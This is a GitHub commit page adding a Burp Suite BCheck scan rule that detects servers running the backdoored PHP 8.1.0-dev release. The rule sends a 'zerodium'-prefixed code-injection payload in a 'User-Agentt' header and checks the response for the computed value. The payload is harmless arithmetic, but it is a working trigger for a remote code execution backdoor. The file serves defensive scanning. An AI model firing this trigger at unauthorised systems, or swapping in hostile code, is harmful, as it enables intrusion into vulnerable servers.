-
Notifications
You must be signed in to change notification settings - Fork 110
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Create php-8.1.0-dev-backdoor.bcheck
- Loading branch information
Showing
1 changed file
with
24 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
metadata: | ||
language: v2-beta | ||
name: "PHP 8.1.0-dev Backdoor - Code Injection" | ||
description: "Detect servers running PHP 8.1.0-dev, which was released with a backdoor allowing Code Injection" | ||
author: "r3nt0n" | ||
tags: "active", "php", "code injection", "backdoor" | ||
|
||
define: | ||
payload = "zerodiumvar_dump(1337*1337)" | ||
|
||
given host then | ||
send request: | ||
appending headers: | ||
"User-Agentt": `{payload};` | ||
|
||
if "int(1787569)" in {latest.response} then | ||
report issue: | ||
severity: high | ||
confidence: firm | ||
detail: `Code injection via backdoor introduced in PHP 8.1.0-dev: | ||
|
||
- https://news-web.php.net/php.internals/113838 | ||
- https://flast101.github.io/php-8.1.0-dev-backdoor-rce/` | ||
end if |